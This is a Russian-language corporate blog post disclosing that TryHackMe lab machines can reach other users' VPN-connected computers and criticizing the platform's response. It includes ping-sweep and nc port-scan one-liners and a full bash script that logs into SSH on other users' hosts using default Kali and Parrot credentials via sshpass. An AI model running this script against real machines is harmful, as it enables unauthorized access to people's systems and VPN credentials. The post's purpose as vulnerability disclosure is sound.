Pull to refresh
26.86
Rating
T.Hunter
Атакующая безопасность

«Hack Me на TryHackMe», или Небезопасное изучение инфобеза на известной платформе

T.Hunter corporate blogInformation SecurityIT systems testingIT-companies

Привет, Хабрчане. Сегодня мы поговорим об одной проблеме, которую обнаружил мой хороший знакомый Иван Глинкин.

Это очень серьезный косяк с безопасностью платформы для обучения пентесту TryHackMe. Заключается он в том, что виртуальные стенды видят абсолютно все в сети, и их можно использовать для атаки на пользователей сервиса.

Написать эту статью меня подтолкнули 3 причины:

  1. Прошло уже более двух недель, а воз и ныне там. Никаких действий со стороны платформы TryHackMe не последовало;

  2. Платформа ответила только хамством, а затем забанила аккаунт Ивана (об этом далее);

  3. Автору оригинала очень лень переписывать статью на русском языке.

DSCLAIMER

Эта уязвимость была изначально найдена не мной, но я получил у автора оригинала разрешение на использование материалов оригинальной статьи и публикацию на русском языке. И уже я перепроверял, что конь всё ещё не валялся в системе инфобеза платформы TryHackMe, и использовать ее, мягко говоря, не очень безопасно. Ссылка на оригинальную статью.

Завязка сюжета

Есть много разных платформ для обучения инфобезу. И коль скоро эти платформы затрагивают такой важный в IT-отрасли сегмент, то неплохо было бы им самим соответствовать. Так мы думаем, когда заходим на них.

Однако, как показала практика, тут тоже работает славный принцип «х*як, х*як, и в продакшн».

Когда мы подключаемся по VPN к платформе, мы не можем взаимодействовать с другими хостами в сети, кроме самих виртуальных машин для взлома. Верно? Верно!

Ну, а что по поводу самих виртуальных стендов? Они-то, наверное, тоже не могут взаимодействовать с кем попало?

А вот и нет! Виртуальный стенд, как оказалось, видит всех и вся в сети.

В качестве тестовой точки я выбрал виртуалку «Basic Pentesting».

В роли атакующего у нас ...
В роли атакующего у нас ...

Быстренько получив пользователя kay по сюжету виртуалки, начнем проверять, как же TryHackMe решила проблему с тем, что виртуалка может взаимодействовать с абсолютно всеми пользователями. Проверяем свою же подсеть. В моем случае это была 10.9.5.0

for ip in {1..254}; do ping -w 1 10.9.5.$ip | grep -i "ttl"; done
Ищем живых соседей
Ищем живых соседей

Жизнь есть. Так, а другие подсети видим? Ну, например, 10.9.4.0 …

Ищем еще
Ищем еще

Видим ...

Так, отставить панику! Это же еще ничего не доказывает и не значит, что я смогу подключиться по SSH или проверить, есть ли там поднятый Apache.

Сводим все живые IP адреса в вордлист и пробегаем их nc по 80 порту, благо nc заботливо установлен админами платформы.

for ip in $(cat ips.txt); do nc -nvw 1 $ip 80; done
Ищем открытый 80 порт
Ищем открытый 80 порт

А вот и первые претенденты. CURL’луем 10.9.4.252 и видим там типичный листинг директории www человека, который решает виртуалки:

Уверен, что у многих директория веб-сервера на Kali выглядит примерно также
Уверен, что у многих директория веб-сервера на Kali выглядит примерно также

Кульминация

А вот давайте и проверим, че там по SSH. Тут тоже применим немножко автоматизации. Закидываем на стенд sshpass, благо и curl, и wget уже заботливо установлены админами платформы заранее. Как говорится, всё для вас, даже вода из-под крана.

Опа! Не ставится.

Прав нет. А если найду?
Прав нет. А если найду?

Ну root-то точно на стенде закрыт! Для итогового выполнения упражнения стенда root не нужен, а, стало быть, и у пользователя kay не должно быть прав на sudo. Верно же?

Ну, тут даже без комментариев …
Ну, тут даже без комментариев …

Устанавливаем sshpass и колдуем легкий скрипт в bash для перебора:

#!/bin/bash
for ip in {2..255}
do ip_check=$(ping -w 1 10.9.5.$ip | grep -i "icmp_seq" | cut -d " " -f 4 | cut -d ":" -f 1)
if [ ! -z $ip_check ]
then
echo -e "\e[01;32mHost $ip_check is up. Cheking SSH\e[00m";
nc -vz -w 2 $ip_check 22 > log.txt 2>&1;
ssh_refused=$(grep -o "refused" log.txt)
ssh_timeout=$(grep -o "timed" log.txt)
if [ ! -z $ssh_refused ]
then
echo -e "\e[01;31mSSH is closed. Going further. \e[00m";
echo " ";
elif [ ! -z $ssh_timeout ]
then
echo -e "\e[01;31mSSH doesn't respond. Going further. \e[00m";
echo " ";
else
echo -e "\e[01;32mSSH is open. Trying to connect... \e[00m";
sshpass -p "kali" ssh -o StrictHostKeyChecking=no kali@$ip_check;
sshpass -p "toor" ssh -o StrictHostKeyChecking=no user@$ip_check;
sshpass -p "toor" ssh -o StrictHostKeyChecking=no root@$ip_check;
echo " ";
fi
fi
done
rm log.txt;
echo -e "\e[01;32mEnumeration has been finished! \e[00m";

Развязка

Проверять будем 3 самые основные связки логин/пароль для Kali и Parrot OS:

  • kali:kali

  • root:toor

  • user:toor

ПОЕХАЛИ!
ПОЕХАЛИ!

А вот и первый «БЕЗОПАСНИК» с дефолтными логином и паролем. И сразу натыкаемся на ovpn файл для доступа к TryHackMe. Если у человека оплачен VIP, то мы только что сэкономили на подписке …

Привет привет ovpn файл
Привет привет ovpn файл

Пробуем sudo …

Ну как бы вот ...
Ну как бы вот ...

Эпилог

Какие из всего этого следуют практические выводы?

Ну, самый очевидный: система инфобеза TryHackMe полное **** нужно менять дефолтные пароли на своих Kali и Parrot OS на более безопасные. Обезопасит ли это в полной мере вас при вот таком вот «уровне» защиты сети на платформе TryHackMe? Определённо нет.

Думаю, мне не стоит тут перечислять, что, помимо простого брутфорса SSH, существует еще куча методов получить доступ к вашей системе. А дальше можете выбрать, что злоумышленник захочет:

  1. Включить вашу рабочую машину в ботнет;

  2. Покопаться во внутрикорпоративной сети компании и вашей личной инфе;

  3. Провести атаки на другие ресурсы с использованием вашей пентест-машины и из-под вашего IP;

  4. Помайнить криптовалюты на вашем оборудовании (а почему бы, собственно, и нет?);

  5. Всё, что пришло вам в голову к этому моменту …

А также не забываем, что после перезагрузки стенда вся информация с него удаляется, в том числе и логи. Можно, конечно, уповать на то, что у TryHackMe всё обязательно логируется и записывается, особенно все действия пользователя на виртуалках, но что-то мне мало верится в реальность этого варианта.

Особенно меня «порадовала» реакция платформы TryHackMe на багрепорт всей этой ситуации.

Первичный отчет был направлен в TryHackMe 2 мая 2021. Оригинальная статья вышла 25 мая 2021. Вместо того, чтобы заняться решением этой проблемы, руководство платформы TryHackMe прислало письмо, в котором просто решило прикрыться пунктом 9 правил пользования платформой.

TryHackMe на полном серьёзе считает, что всё у них нормально, и что вместо принятия технических мер можно ограничиться вот этой вот писулькой в правилах пользования платформой. Она как-то сможет оградить пользователей от реальных злоумышленников?

Ну и вишенка на торте:

Бан аккаунта. Отличная работа, TryHackMe. Вместо решения проблемы вы просто забанили человека, который указал вам на косяк в системе инфобеза …

Решайте сами, стоит ли пользоваться вот такими образовательными порталами, которые спокойно позволяют взламывать своих пользователей.

Лично моё мнение: в случае реальной атаки на вас платформа просто открестится от ответственности всё тем же замечательным пунктом 9 своего соглашения.

Ну а что? Это же не платформа положила болт на защиту пользователей, а злоумышленник, наплевав на все писульки TryHackMe, просто взял и использовал ваш Kali для противоправных действий в адрес третьих лиц.

Tags:TryHackMeинформационная безопасностьпентестуязвимостиуязвимости и их эксплуатацияуязвимости сетизащита информациитестирование на проникновениесетевая безопасностьзащита сети
Hubs: T.Hunter corporate blog Information Security IT systems testing IT-companies
Total votes 13: ↑11 and ↓2+9
Views2.9K

Top of the last 24 hours

Information

Location
Россия
Website
tomhunter.ru
Employees
2–10 employees
Registered
Representative
Том Хантер